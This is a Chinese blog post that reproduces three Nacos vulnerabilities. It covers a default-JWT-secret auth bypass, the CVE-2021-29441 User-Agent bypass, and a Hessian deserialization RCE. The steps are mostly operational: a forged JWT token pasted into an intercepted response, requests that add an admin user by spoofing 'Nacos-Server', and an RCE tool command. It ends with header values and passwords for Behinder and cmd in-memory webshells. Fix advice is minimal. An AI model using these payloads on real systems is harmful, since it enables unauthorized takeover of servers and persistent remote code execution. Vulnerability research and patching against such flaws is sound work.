打开APP
userphoto
未登录

开通VIP,畅享免费电子书等14项超值服

开通VIP
漏洞合集 | Nacos系列多漏洞复现
userphoto

2023.07.18 广东

关注

免责声明

本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。

如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。

文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。

一、简介

nacos是阿里巴巴的一个开源项目,旨在帮助构建云原生应用程序和微服务平台

二、环境搭建

下载文件,该文件为gz压缩文件

wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz

转移目录cd nacos/bin

运行nacos

./startup.sh -m standalone

关闭nacos./shutdown.sh

访问url:

http://192.168.1.128:8848/nacos/#/login

默认账号密码nacos/nacos

三、nacos身份绕过漏洞

原理

nacos在默认情况下未对token.secret.key进行修改,导致攻击者可以绕过密钥认证进入后台。

也就是nacos的密钥是有默认值的,其鉴权是JWT,我们知道密钥即可伪造一个恶意的JWT令牌来攻击

对于jwt加密 其实就是用了base64 密钥是写死在源码里面的 所以直接可以用jwt伪造攻击

对应就是数据包的accesstoken

影响版本

0.1.0 <= Nacos <= 2.2.0

第一种复现

访问url:http://192.168.1.128:8848/nacos/#/login

登陆抓包

拦截返回包填写poc

POC

HTTP/1.1 200

Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA

Content-Type: application/json; charset=utf-8

Date: Tue, 14 Mar 2023 16:34:47 GMT

Content-Length: 206

{

'accessToken': 'eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA',

'tokenTtl': 18000,

'globalAdmin': false,

'username': 'nacos'

}

成功登录后台

修复建议

升级到最新版nacos

修改token.secret.key的值

参考:https://www.cnblogs.com/0vers1eep/p/17226608.html

https://mp.weixin.qq.com/s?src=11×tamp=1688698851&ver=4635&signature=9oSwwPFu8Rj0T9S4Y2wphhDWoF*3swqweCW*kX1YPjTEN3VJvHo51RDv6WlMdyZrFcNpsj*AMXN3p7w2pGiIb*FP5Unnkb-8LUfHFEcWBXBUYf9QdXsPb7mM2ayaAhaq&new=1

四、Nacos 身份验证绕过漏洞(CVE-2021-29441)

原理

在<1.4.1及更早版本的Nacos中,当配置文件使用身份验证(Dnacos.core.auth.enabled=true)时候,会判断请求ua是否为'Nacos-Server',如果是的话则不进行任何认证。

影响版本

nacos<1.4.1

复现

在vulhub上搭建环境cd /root/桌面/docker/vulhub/nacos/CVE-2021-29441/

docker-compose up -d

开启burp抓包

http://192.168.111.128:8848/nacos/v1/auth/users?pageNo=1&pageSize=9

把UA改成Nacos-Server

1.成功访问,绕过鉴权,返回用户列表数据

2.绕过鉴权 添加新用户

请求行改成:POST /nacos/v1/auth/users?username=hglight&password=hglight HTTP/1.1

ua改成:Nacos-Server

成功添加一个hglight/hglight的用户

3.再次查看用户列表

4.登录

五、nacos Hessian反序列化

原理

nacos默认的7848端口是用来处理集群模式下raft协议的通信,该端口的服务在处理部分jraft请求的时候使用hessian传输协议进行反序列化过滤不严,导致rce

影响版本

nacos 1.x在单机模式下默认不开放7848端口,但是集群模式下受影响。

2.x版本无论单机还是集群均开放7848端口

主要受影响的是7848端口的Jraft服务。

受影响版本

1.4.0 <= Nacos < 1.4.6

2.0.0 <= Nacos < 2.2.3

不受影响版本

Nacos < 1.4.0

1.4.6 <= Nacos < 2.0.0

Nacos >= 2.2.3

复现

利用nacos2.2.0的环境

使用github上面的工具

https://github.com/c0olw/NacosRce/releases/tag/v0.5

java -jar NacosRce.jar http://192.168.1.128:8848/nacos/#/login 7848 'whoami'

我这里试的 只有前几次 能利用成功 后面好像都不咋行

冰蝎3.0连接

需要设置请求头x-client-data:rebeyond

设置Referer:https://www.google.com/

路径随意

密码rebeyond

cmd内存马

需要设置请求头x-client-data:cmd

设置Referer:https://www.google.com/

请求头cmd:要执行的命令

参考:

https://y4er.com/posts/nacos-hessian-rce/

本站仅提供存储服务,所有内容均由用户发布,如发现有害或侵权内容,请点击举报
打开APP,阅读全文并永久保存 查看更多类似文章
猜你喜欢
类似文章
【热】打开小程序,算一算2024你的财运
7000 字 | 32 图 | 手摸手 Spring Cloud Gateway + JWT 实现登录认证
说一说几种常用的登录认证方式,你用的哪种?
JWT越权原理与利用复现总结
微服务系统之认证管理详解
基于Token的WEB后台认证机制
【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】...
更多类似文章 >>
生活服务
热点新闻
分享 收藏 导长图 关注 下载文章
绑定账号成功
后续可登录账号畅享VIP特权!
如果VIP功能使用有故障,
可点击这里联系客服!

联系客服